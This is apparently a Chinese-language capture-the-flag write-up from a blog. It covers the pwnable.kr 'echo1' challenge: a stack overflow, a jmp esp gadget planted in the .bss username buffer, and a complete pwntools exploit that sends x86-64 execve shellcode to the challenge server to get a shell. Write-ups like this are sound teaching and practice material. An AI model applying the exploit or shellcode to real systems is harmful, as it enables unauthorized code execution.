美文网首页
pwnable.kr之echo1

pwnable.kr之echo1

作者: hyrathon | 来源:发表于2018-06-12 23:30 被阅读0次

Overview

直接运行起来是一个简单的交互小程序, 一开始会要求输入用户名, 之后的三项选项只有第一项有效.

echo1-1.JPG

拖进IDA分析第一项选项对应的函数是echo1, 该函数存在明显的栈溢出.

echo1-2.JPG echo1-3.JPG

如果checksec的话可以发现该elf缓解技术几乎没开, 可以采用覆盖返回值 + 跳转到shellcode的方式利用.

这里没有机会可以输出栈地址, 因此无法得到栈绝对地址覆盖返回值, 因此可以使用jmp esp方式, 使用padding + addr_of_jmp_esp + shellcode(恢复栈帧后esp)方式进行利用. 这里唯独缺少合适的jmp esp, 通过ida搜索会发现程序中不存在这样的指令. 这里比较取巧的是无需去libc中寻找, 还记得输入的用户名吗, 用户名存储在.bss段, 有固定地址, 因此可以将jmp esp机器码写在这个地址.

echo1-4.jpg

最后的exp如下, 由于shellcode在esp处, 选取shellcode时需要注意尽量使用栈操作少的, 或者先抬高栈顶保护shellcode代码.

#!/usr/bin/env python
# coding=utf-8

from pwn import *

# p = process('./echo1')
p = remote('pwnable.kr', 9010)
# gdb.attach(p)

jmp_esp = '\xff\xe4'
shellcode = "\x48\x83\xec\x20" + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendline(jmp_esp)

p.sendline('1')
print p.recvuntil('>')

payload = 'a'* 40 + p64(0x6020a0) + shellcode

p.send(payload)

p.interactive()


相关文章

  • pwnable.kr之echo1

    Overview 直接运行起来是一个简单的交互小程序, 一开始会要求输入用户名, 之后的三项选项只有第一项有效. ...

  • Pwnable.kr-3.bof

    下载链接:http://pwnable.kr/bin/bofhttp://pwnable.kr/bin/bof.c...

  • Pwnable.kr系列

    pwnable.kr

  • pwnable.kr之brainfuck

    pwnable.kr之brainfuck.md Overview 题目给了一个简陋版的brainfuck解释器, ...

  • WpsecCTF Pwn部分

    1 简单的溢出 题目来源:http://pwnable.kr 之 bof 直接放入IDA,发现func函数存在问题...

  • pwnable.kr collision

    今天咱们来继续玩 pwnable.kr pwnable.kr collision 同样的,我们远程连接上服务器,然...

  • 黑客练手入门| pwnable.kr—幼儿瓶—01:fd

    [TOC] 前言 担心有人不知道pwnable.kr是什么,所以觉得有必要简单介绍一下它。 pwnable.kr介...

  • pwnable.kr之uaf

    考点: 1.UAF(use after free) 分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续...

  • pwnable.kr之fix

    看代码, 使用了一段有效的shellcode但是执行失败, gdb跟进去发现是因为esp接近shellcode存放...

  • pwnable.kr之memcpy

    感觉这道题考的是堆分配时字节对齐问题.首先上代码 程序中自己实现了一个快速的memcpy函数, 题目要求是只要能够...

网友评论

      本文标题:pwnable.kr之echo1

      本文链接:https://www.haomeiwen.com/subject/vtldeftx.html